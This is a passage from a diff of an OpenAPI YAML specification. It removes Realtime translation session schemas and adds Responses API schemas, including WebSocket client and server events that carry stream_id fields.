- description: Expiration timestamp for the client secret, in seconds since epoch.
- session:
- $ref: '#/components/schemas/RealtimeTranslationSession'
- required:
- - value
- - expires_at
- - session
- x-oaiMeta:
- name: Translation session response object
- group: realtime
- example: |
- {
- "value": "ek_68af296e8e408191a1120ab6383263c2",
- "expires_at": 1756310470,
- "session": {
- "id": "sess_C9CiUVUzUzYIssh3ELY1d",
- "type": "translation",
- "expires_at": 1756310470,
- "model": "gpt-realtime-translate",
- "audio": {
- "input": {
- "transcription": null,
- "noise_reduction": null
- },
- "output": {
- "language": "es"
- }
- }
- }
- }
- RealtimeTranslationServerEvent:
- discriminator:
- propertyName: type
- description: |
- A Realtime translation server event.
- anyOf:
- - $ref: '#/components/schemas/RealtimeServerEventError'
- - $ref: '#/components/schemas/RealtimeTranslationServerEventSessionCreated'
- - $ref: '#/components/schemas/RealtimeTranslationServerEventSessionUpdated'
- - $ref: '#/components/schemas/RealtimeTranslationServerEventSessionClosed'
- - $ref: '#/components/schemas/RealtimeTranslationServerEventSessionInputTranscriptDelta'
- - $ref: '#/components/schemas/RealtimeTranslationServerEventSessionOutputTranscriptDelta'
- - $ref: '#/components/schemas/RealtimeTranslationServerEventSessionOutputAudioDelta'
- RealtimeTranslationServerEventSessionClosed:
- type: object
- description: |
- Returned when a realtime translation session is closed.
- properties:
- event_id:
+ description: |
+ The index of the content part that the text content is finalized.
+ text:
type: string
- description: The unique ID of the server event.
- type:
- x-stainless-const: true
- description: The event type, must be `session.closed`.
- const: session.closed
+ description: |
+ The text content that is finalized.
+ sequence_number:
+ type: integer
+ description: The sequence number for this event.
+ logprobs:
+ type: array
+ description: |
+ The log probabilities of the tokens in the delta.
+ items:
+ $ref: '#/components/schemas/ResponseLogProb'
required:
- - event_id
- type
+ - item_id
+ - output_index
+ - content_index
+ - text
+ - sequence_number
+ - logprobs
x-oaiMeta:
- name: session.closed
- group: realtime
+ name: response.output_text.done
+ group: responses
example: |
{
- "event_id": "event_987",
- "type": "session.closed"
+ "type": "response.output_text.done",
+ "item_id": "msg_123",
+ "output_index": 0,
+ "content_index": 0,
+ "text": "In a shimmering forest under a sky full of stars, a lonely unicorn named Lila discovered a hidden pond that glowed with moonlight. Every night, she would leave sparkling, magical flowers by the water's edge, hoping to share her beauty with others. One enchanting evening, she woke to find a group of friendly animals gathered around, eager to be friends and share in her magic.",
+ "sequence_number": 1
}
- RealtimeTranslationServerEventSessionCreated:
+ ResponseTextParam:
type: object
description: |
- Returned when a translation session is created. Emitted automatically when a
- new connection is established as the first server event. This event contains
- the default translation session configuration.
+ Configuration options for a text response from the model. Can be plain
+ text or structured JSON data. Learn more:
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
- type:
- x-stainless-const: true
- description: The event type, must be `session.created`.
- const: session.created
- session:
- $ref: '#/components/schemas/RealtimeTranslationSession'
- description: The translation session configuration.
- required:
- - event_id
- - type
- - session
- x-oaiMeta:
- name: session.created
- group: realtime
- example: |
- {
- "type": "session.created",
- "event_id": "event_123",
- "session": {
- "id": "sess_123",
- "type": "translation",
- "model": "gpt-realtime-translate",
- "expires_at": 1714857600,
- "audio": {
- "input": {
- "transcription": {
- "model": "gpt-realtime-whisper",
- "language": "en"
- },
- "noise_reduction": {
- "type": "near_field"
- }
- },
- "output": {
- "language": "fr"
- }
- }
- }
- }
- RealtimeTranslationServerEventSessionInputTranscriptDelta:
+ format:
+ $ref: '#/components/schemas/TextResponseFormatConfiguration'
+ verbosity:
+ $ref: '#/components/schemas/Verbosity'
+ ResponseUsage:
type: object
description: |
- Returned when optional source-language transcript text is available. This event
- is emitted only when `audio.input.transcription` is configured.
-
- Transcript deltas are append-only text fragments. Clients should not insert
- unconditional spaces between deltas.
+ Represents token usage details including input tokens, output tokens,
+ a breakdown of output tokens, and the total tokens used.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
- type:
- x-stainless-const: true
- description: The event type, must be `session.input_transcript.delta`.
- const: session.input_transcript.delta
- delta:
- type: string
- description: Append-only source-language transcript text.
- elapsed_ms:
- anyOf:
- - type: integer
- description: |
- Timing metadata for stream alignment, derived from the translation frame
- when available. It advances in 200 ms increments, but multiple transcript
- deltas may share the same `elapsed_ms`. Treat it as alignment metadata,
- not a unique transcript-delta identifier.
- - type: 'null'
+ input_tokens:
+ type: integer
+ description: The number of input tokens.
+ input_tokens_details:
+ type: object
+ description: A detailed breakdown of the input tokens.
+ properties:
+ cached_tokens:
+ type: integer
+ description: |
+ The number of tokens that were retrieved from the cache.
+ [More on prompt caching](https://developers.openai.com/api/docs/guides/prompt-caching).
+ cache_write_tokens:
+ type: integer
+ description: The number of input tokens that were written to the cache.
+ required:
+ - cached_tokens
+ - cache_write_tokens
+ output_tokens:
+ type: integer
+ description: The number of output tokens.
+ output_tokens_details:
+ type: object
+ description: A detailed breakdown of the output tokens.
+ properties:
+ reasoning_tokens:
+ type: integer
+ description: The number of reasoning tokens.
+ required:
+ - reasoning_tokens
+ total_tokens:
+ type: integer
+ description: The total number of tokens used.
required:
- - event_id
- - type
- - delta
- x-oaiMeta:
- name: session.input_transcript.delta
- group: realtime
- example: |
- {
- "event_id": "event_125",
- "type": "session.input_transcript.delta",
- "delta": " hear",
- "elapsed_ms": 1200
- }
- RealtimeTranslationServerEventSessionOutputAudioDelta:
+ - input_tokens
+ - input_tokens_details
+ - output_tokens
+ - output_tokens_details
+ - total_tokens
+ ResponseWebSearchCallCompletedEvent:
type: object
- description: |
- Returned when translated output audio is available. The `delta` contains a
- PCM16 audio chunk whose length can vary. Clients should decode and queue the
- complete delta instead of assuming a fixed byte or sample count.
+ description: Emitted when a web search call is completed.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: The event type, must be `session.output_audio.delta`.
- const: session.output_audio.delta
- delta:
- type: string
- description: Base64-encoded translated audio data.
- sample_rate:
- type: integer
- description: Sample rate of the audio delta.
- default: 24000
- channels:
- type: integer
- description: Number of audio channels.
- default: 1
- format:
type: string
+ description: |
+ The type of the event. Always `response.web_search_call.completed`.
enum:
- - pcm16
- description: Audio encoding for `delta`.
+ - response.web_search_call.completed
x-stainless-const: true
- elapsed_ms:
- anyOf:
- - type: integer
- description: |
- Timing metadata for stream alignment, derived from the translation frame
- when available. Treat `elapsed_ms` as alignment metadata, not a unique
- event identifier.
- - type: 'null'
+ output_index:
+ type: integer
+ description: |
+ The index of the output item that the web search call is associated with.
+ item_id:
+ type: string
+ description: |
+ Unique ID for the output item associated with the web search call.
+ sequence_number:
+ type: integer
+ description: The sequence number of the web search call being processed.
required:
- - event_id
- type
- - delta
+ - output_index
+ - item_id
+ - sequence_number
x-oaiMeta:
- name: session.output_audio.delta
- group: realtime
+ name: response.web_search_call.completed
+ group: responses
example: |
{
- "event_id": "event_123",
- "type": "session.output_audio.delta",
- "delta": "Base64EncodedAudioDelta",
- "sample_rate": 24000,
- "channels": 1,
- "format": "pcm16",
- "elapsed_ms": 1200
+ "type": "response.web_search_call.completed",
+ "output_index": 0,
+ "item_id": "ws_123",
+ "sequence_number": 0
}
- RealtimeTranslationServerEventSessionOutputTranscriptDelta:
+ ResponseWebSearchCallInProgressEvent:
type: object
- description: |
- Returned when translated transcript text is available.
-
- Transcript deltas are append-only text fragments. Clients should not insert
- unconditional spaces between deltas.
+ description: Emitted when a web search call is initiated.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ description: |
+ The type of the event. Always `response.web_search_call.in_progress`.
+ enum:
+ - response.web_search_call.in_progress
x-stainless-const: true
- description: The event type, must be `session.output_transcript.delta`.
- const: session.output_transcript.delta
- delta:
+ output_index:
+ type: integer
+ description: |
+ The index of the output item that the web search call is associated with.
+ item_id:
type: string
- description: Append-only transcript text for the translated output audio.
- elapsed_ms:
- anyOf:
- - type: integer
- description: |
- Timing metadata for stream alignment, derived from the translation frame
- when available. It advances in 200 ms increments, but multiple transcript
- deltas may share the same `elapsed_ms`. Treat it as alignment metadata,
- not a unique transcript-delta identifier.
- - type: 'null'
+ description: |
+ Unique ID for the output item associated with the web search call.
+ sequence_number:
+ type: integer
+ description: The sequence number of the web search call being processed.
required:
- - event_id
- type
- - delta
+ - output_index
+ - item_id
+ - sequence_number
x-oaiMeta:
- name: session.output_transcript.delta
- group: realtime
+ name: response.web_search_call.in_progress
+ group: responses
example: |
{
- "event_id": "event_124",
- "type": "session.output_transcript.delta",
- "delta": " escuch",
- "elapsed_ms": 1200
+ "type": "response.web_search_call.in_progress",
+ "output_index": 0,
+ "item_id": "ws_123",
+ "sequence_number": 0
}
- RealtimeTranslationServerEventSessionUpdated:
+ ResponseWebSearchCallSearchingEvent:
type: object
- description: |
- Returned when a translation session is updated with a `session.update` event,
- unless there is an error.
+ description: Emitted when a web search call is executing.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ description: |
+ The type of the event. Always `response.web_search_call.searching`.
+ enum:
+ - response.web_search_call.searching
x-stainless-const: true
- description: The event type, must be `session.updated`.
- const: session.updated
- session:
- $ref: '#/components/schemas/RealtimeTranslationSession'
- description: The translation session configuration.
+ output_index:
+ type: integer
+ description: |
+ The index of the output item that the web search call is associated with.
+ item_id:
+ type: string
+ description: |
+ Unique ID for the output item associated with the web search call.
+ sequence_number:
+ type: integer
+ description: The sequence number of the web search call being processed.
required:
- - event_id
- type
- - session
+ - output_index
+ - item_id
+ - sequence_number
x-oaiMeta:
- name: session.updated
- group: realtime
+ name: response.web_search_call.searching
+ group: responses
example: |
{
- "type": "session.updated",
- "event_id": "event_124",
- "session": {
- "id": "sess_123",
- "type": "translation",
- "model": "gpt-realtime-translate",
- "expires_at": 1714857600,
- "audio": {
- "input": {
- "transcription": {
- "model": "gpt-realtime-whisper",
- "language": "en"
- },
- "noise_reduction": {
- "type": "near_field"
- }
- },
- "output": {
- "language": "es"
- }
- }
- }
+ "type": "response.web_search_call.searching",
+ "output_index": 0,
+ "item_id": "ws_123",
+ "sequence_number": 0
}
- RealtimeTranslationSession:
+ ResponseWsError:
type: object
- title: Realtime translation session
- description: |
- A Realtime translation session. Translation sessions continuously translate input
- audio into the configured output language.
+ title: ResponseWsError
+ description: Emitted when an error occurs while processing a Responses WebSocket request.
properties:
- id:
- type: string
- description: |
- Unique identifier for the session that looks like `sess_1234567890abcdef`.
type:
type: string
+ description: The type of the event. Always `error`.
enum:
- - translation
- description: |
- The session type. Always `translation` for Realtime translation sessions.
+ - error
x-stainless-const: true
- expires_at:
+ status:
type: integer
- format: unixtime
- description: Expiration timestamp for the session, in seconds since epoch.
- model:
+ description: The HTTP status code associated with a WebSocket protocol error.
+ sequence_number:
+ type: integer
+ description: The sequence number of an error emitted by the response stream.
+ error:
+ $ref: '#/components/schemas/ErrorPayload'
+ description: Details about the error.
+ stream_id:
type: string
description: |
- The Realtime translation model used for this session. This field is set at
- session creation and cannot be changed with `session.update`.
- audio:
- type: object
- description: |
- Configuration for translation input and output audio.
+ The WebSocket lane that emitted this event. This field is present when the
+ originating `response.create` event supplied a `stream_id`.
+ required:
+ - type
+ - error
+ x-oaiMeta:
+ name: error
+ group: responses
+ example: |
+ {
+ "type": "error",
+ "status": 400,
+ "stream_id": "agent_1",
+ "error": {
+ "type": "invalid_request_error",
+ "code": "websocket_stream_limit_reached",
+ "message": "This WebSocket connection has reached its stream limit.",
+ "param": "stream_id"
+ }
+ }
+ ResponsesClientEvent:
+ discriminator:
+ propertyName: type
+ description: |
+ Client events accepted by the Responses WebSocket server.
+ anyOf:
+ - $ref: '#/components/schemas/ResponsesClientEventResponseCreate'
+ - $ref: '#/components/schemas/ResponseSteerEvent'
+ ResponsesClientEventResponseCreate:
+ allOf:
+ - type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - response.create
+ description: |
+ The type of the client event. Always `response.create`.
+ x-stainless-const: true
+ stream_id:
+ type: string
+ minLength: 1
+ maxLength: 256
+ pattern: ^[A-Za-z0-9_.-]+$
+ description: |
+ The WebSocket lane for this response. Requests with the same
+ `stream_id` are processed FIFO, and events for the response echo the
+ same `stream_id`.
+
+ `stream_id` controls routing; `previous_response_id` controls
+ conversation lineage, so a new lane can fork from a response created
+ on another lane.
+ required:
+ - type
+ - $ref: '#/components/schemas/CreateResponse'
+ description: |
+ Client event for creating a response over a persistent WebSocket connection.
+ This payload uses the same top-level fields as `POST /v1/responses`, plus
+ WebSocket-only envelope metadata.
+
+ Notes:
+ - `stream` is implicit over WebSocket and should not be sent.
+ - `background` is not supported over WebSocket.
+ - `stream_id` is WebSocket-only and is not part of `POST /v1/responses`.
+ x-oaiMeta:
+ example: |
+ {
+ "type": "response.create",
+ "stream_id": "agent_1",
+ "model": "gpt-6-astra",
+ "input": "Say hello."
+ }
+ ResponsesServerEvent:
+ discriminator:
+ propertyName: type
+ description: |
+ Server events emitted by the Responses WebSocket server.
+ anyOf:
+ - title: ResponseAudioWsDelta
+ description: Emitted when there is a partial audio response.
+ allOf:
+ - $ref: '#/components/schemas/ResponseAudioDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseAudioWsDone
+ description: Emitted when the audio response is complete.
+ allOf:
+ - $ref: '#/components/schemas/ResponseAudioDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseAudioTranscriptWsDelta
+ description: Emitted when there is a partial transcript of audio.
+ allOf:
+ - $ref: '#/components/schemas/ResponseAudioTranscriptDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseAudioTranscriptWsDone
+ description: Emitted when the full audio transcript is completed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseAudioTranscriptDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseCodeInterpreterCallCodeWsDelta
+ description: Emitted when a partial code snippet is streamed by the code interpreter.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallCodeDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseCodeInterpreterCallCodeWsDone
+ description: Emitted when the code snippet is finalized by the code interpreter.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallCodeDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseCodeInterpreterCallWsCompleted
+ description: Emitted when the code interpreter call is completed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseCodeInterpreterCallInWsProgress
+ description: Emitted when a code interpreter call is in progress.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseCodeInterpreterCallWsInterpreting
+ description: Emitted when the code interpreter is actively interpreting the code snippet.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallInterpretingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWsCompleted
+ description: Emitted when the model response is complete.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseContentPartWsAdded
+ description: Emitted when a new content part is added.
+ allOf:
+ - $ref: '#/components/schemas/ResponseContentPartAddedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseContentPartWsDone
+ description: Emitted when a content part is done.
+ allOf:
+ - $ref: '#/components/schemas/ResponseContentPartDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWsCreated
+ description: |
+ An event that is emitted when a response is created.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCreatedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseFileSearchCallWsCompleted
+ description: Emitted when a file search call is completed (results found).
+ allOf:
+ - $ref: '#/components/schemas/ResponseFileSearchCallCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseFileSearchCallInWsProgress
+ description: Emitted when a file search call is initiated.
+ allOf:
+ - $ref: '#/components/schemas/ResponseFileSearchCallInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseFileSearchCallWsSearching
+ description: Emitted when a file search is currently searching.
+ allOf:
+ - $ref: '#/components/schemas/ResponseFileSearchCallSearchingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseFunctionCallArgumentsWsDelta
+ description: Emitted when there is a partial function-call arguments delta.
+ allOf:
+ - $ref: '#/components/schemas/ResponseFunctionCallArgumentsDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseFunctionCallArgumentsWsDone
+ description: Emitted when function-call arguments are finalized.
+ allOf:
+ - $ref: '#/components/schemas/ResponseFunctionCallArgumentsDoneEvent'
+ - type: object
properties:
- input:
- type: object
- properties:
- transcription:
- anyOf:
- - type: object
- description: |
- Optional source-language transcription. When configured, the server emits
- `session.input_transcript.delta` events. Translation itself still runs from
- the input audio stream.
- properties:
- model:
- type: string
- description: The transcription model used for source transcript deltas.
- required:
- - model
- - type: 'null'
- noise_reduction:
- anyOf:
- - type: object
- description: |
- Optional input noise reduction.
- properties:
- type:
- $ref: '#/components/schemas/NoiseReductionType'
- required:
- - type
- - type: 'null'
- output:
- type: object
- properties:
- language:
- type: string
- description: |
- Target language for translated output audio and transcript deltas.
- required:
- - id
- - type
- - expires_at
- - model
- - audio
- x-oaiMeta:
- name: The translation session object
- group: realtime
- example: |
- {
- "id": "sess_C9G5QPteg4UIbotdKLoYQ",
- "type": "translation",
- "expires_at": 1756324625,
- "model": "gpt-realtime-translate",
- "audio": {
- "input": {
- "transcription": {
- "model": "gpt-realtime-whisper"
- },
- "noise_reduction": null
- },
- "output": {
- "language": "es"
- }
- }
- }
- RealtimeTranslationSessionCreateRequest:
- type: object
- title: Realtime translation session configuration
- description: |
- Realtime translation session configuration. Translation sessions stream source
- audio in and translated audio plus transcript deltas out continuously.
- properties:
- model:
- type: string
- description: |
- The Realtime translation model used for this session.
- audio:
- type: object
- description: |
- Configuration for translation input and output audio.
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseShellCallCommandWsAdded
+ description: A streaming event that indicated a shell command was added to a tool call.
+ allOf:
+ - $ref: '#/components/schemas/ResponseShellCallCommandAddedStreamingEvent'
+ - type: object
properties:
- input:
- type: object
- properties:
- transcription:
- anyOf:
- - type: object
- description: |
- Optional source-language transcription. When configured, the server emits
- `session.input_transcript.delta` events. Translation itself still runs from
- the input audio stream.
- properties:
- model:
- type: string
- description: The transcription model to use for source transcript deltas.
- required:
- - model
- - type: 'null'
- noise_reduction:
- anyOf:
- - type: object
- description: |
- Optional input noise reduction. Set to `null` to disable it.
- properties:
- type:
- $ref: '#/components/schemas/NoiseReductionType'
- required:
- - type
- - type: 'null'
- output:
- type: object
- properties:
- language:
- type: string
- description: |
- Target language for translated output audio and transcript deltas.
- required:
- - model
- RealtimeTranslationSessionUpdateRequest:
- type: object
- title: Realtime translation session update
- description: |
- Realtime translation session fields that can be updated with `session.update`.
- properties:
- audio:
- type: object
- description: |
- Configuration for translation input and output audio.
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseShellCallCommandWsDelta
+ description: A streaming event that indicated a shell command was incrementally updated.
+ allOf:
+ - $ref: '#/components/schemas/ResponseShellCallCommandDeltaStreamingEvent'
+ - type: object
properties:
- input:
- type: object
- properties:
- transcription:
- anyOf:
- - type: object
- description: |
- Optional source-language transcription. When configured, the server emits
- `session.input_transcript.delta` events. Translation itself still runs from
- the input audio stream.
- properties:
- model:
- type: string
- description: The transcription model to use for source transcript deltas.
- required:
- - model
- - type: 'null'
- noise_reduction:
- anyOf:
- - type: object
- description: |
- Optional input noise reduction. Set to `null` to disable it.
- properties:
- type:
- $ref: '#/components/schemas/NoiseReductionType'
- required:
- - type
- - type: 'null'
- output:
- type: object
- properties:
- language:
- type: string
- description: |
- Target language for translated output audio and transcript deltas.
- RealtimeTruncation:
- title: Realtime Truncation Controls
- description: |
- When the number of tokens in a conversation exceeds the model's input token limit, the conversation be truncated, meaning messages (starting from the oldest) will not be included in the model's context. A 32k context model with 4,096 max output tokens can only include 28,224 tokens in the context before truncation occurs.
-
- Clients can configure truncation behavior to truncate with a lower max token limit, which is an effective way to control token usage and cost.
-
- Truncation will reduce the number of cached tokens on the next turn (busting the cache), since messages are dropped from the beginning of the context. However, clients can also configure truncation to retain messages up to a fraction of the maximum context size, which will reduce the need for future truncations and thus improve the cache rate.
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseShellCallCommandWsDone
+ description: A streaming event that indicated a shell command was completed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseShellCallCommandDoneStreamingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseShellCallOutputContentWsDelta
+ description: A streaming event that indicated shell call output was incrementally added.
+ allOf:
+ - $ref: '#/components/schemas/ResponseShellCallOutputContentDeltaStreamingEvent'
+ x-stainless-skip:
+ - go
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseShellCallOutputContentWsDone
+ description: A streaming event that indicated shell call output was completed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseShellCallOutputContentDoneStreamingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseInWsProgress
+ description: Emitted when the response is in progress.
+ allOf:
+ - $ref: '#/components/schemas/ResponseInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWsFailed
+ description: |
+ An event that is emitted when a response fails.
+ allOf:
+ - $ref: '#/components/schemas/ResponseFailedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWsIncomplete
+ description: |
+ An event that is emitted when a response finishes as incomplete.
- Truncation can be disabled entirely, which means the server will never truncate but would instead return an error if the conversation exceeds the model's input token limit.
- anyOf:
- - type: string
- description: The truncation strategy to use for the session. `auto` is the default truncation strategy. `disabled` will disable truncation and emit errors when the conversation exceeds the input token limit.
- enum:
- - auto
- - disabled
- title: RealtimeTruncationStrategy
- - type: object
- title: Retention ratio truncation
- description: Retain a fraction of the conversation tokens when the conversation exceeds the input token limit. This allows you to amortize truncations across multiple turns, which can help improve cached token usage.
- properties:
- type:
- type: string
- enum:
- - retention_ratio
- description: Use retention ratio truncation.
- x-stainless-const: true
- retention_ratio:
- type: number
- description: |
- Fraction of post-instruction conversation tokens to retain (`0.0` - `1.0`) when the conversation exceeds the input token limit. Setting this to `0.8` means that messages will be dropped until 80% of the maximum allowed tokens are used. This helps reduce the frequency of truncations and improve cache rates.
- minimum: 0
- maximum: 1
- token_limits:
- type: object
- description: Optional custom token limits for this truncation strategy. If not provided, the model's default token limits will be used.
- properties:
- post_instructions:
- type: integer
- description: Maximum tokens allowed in the conversation after instructions (which including tool definitions). For example, setting this to 5,000 would mean that truncation would occur when the conversation exceeds 5,000 tokens after instructions. This cannot be higher than the model's context window size minus the maximum output tokens.
- minimum: 0
- required:
- - type
- - retention_ratio
- RealtimeTurnDetection:
- anyOf:
- - title: Realtime Turn Detection
+ Over WebSocket, steering can finish a response with
+ `response.incomplete_details.reason` set to `steered`, followed automatically
+ by a successor `response.created` that commits the queued steering input.
+ allOf:
+ - $ref: '#/components/schemas/ResponseIncompleteEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseOutputItemWsAdded
+ description: Emitted when a new output item is added.
+ allOf:
+ - $ref: '#/components/schemas/ResponseOutputItemAddedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseOutputItemWsDone
+ description: Emitted when an output item is marked done.
+ allOf:
+ - $ref: '#/components/schemas/ResponseOutputItemDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseReasoningSummaryPartWsAdded
+ description: Emitted when a new reasoning summary part is added.
+ allOf:
+ - $ref: '#/components/schemas/ResponseReasoningSummaryPartAddedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseReasoningSummaryPartWsDone
+ description: Emitted when a reasoning summary part is completed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseReasoningSummaryPartDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseReasoningSummaryTextWsDelta
+ description: Emitted when a delta is added to a reasoning summary text.
+ allOf:
+ - $ref: '#/components/schemas/ResponseReasoningSummaryTextDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseReasoningSummaryTextWsDone
+ description: Emitted when a reasoning summary text is completed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseReasoningSummaryTextDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseReasoningTextWsDelta
+ description: Emitted when a delta is added to a reasoning text.
+ allOf:
+ - $ref: '#/components/schemas/ResponseReasoningTextDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseReasoningTextWsDone
+ description: Emitted when a reasoning text is completed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseReasoningTextDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseRefusalWsDelta
+ description: Emitted when there is a partial refusal text.
+ allOf:
+ - $ref: '#/components/schemas/ResponseRefusalDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseRefusalWsDone
+ description: Emitted when refusal text is finalized.
+ allOf:
+ - $ref: '#/components/schemas/ResponseRefusalDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseTextWsDelta
+ description: Emitted when there is an additional text delta.
+ allOf:
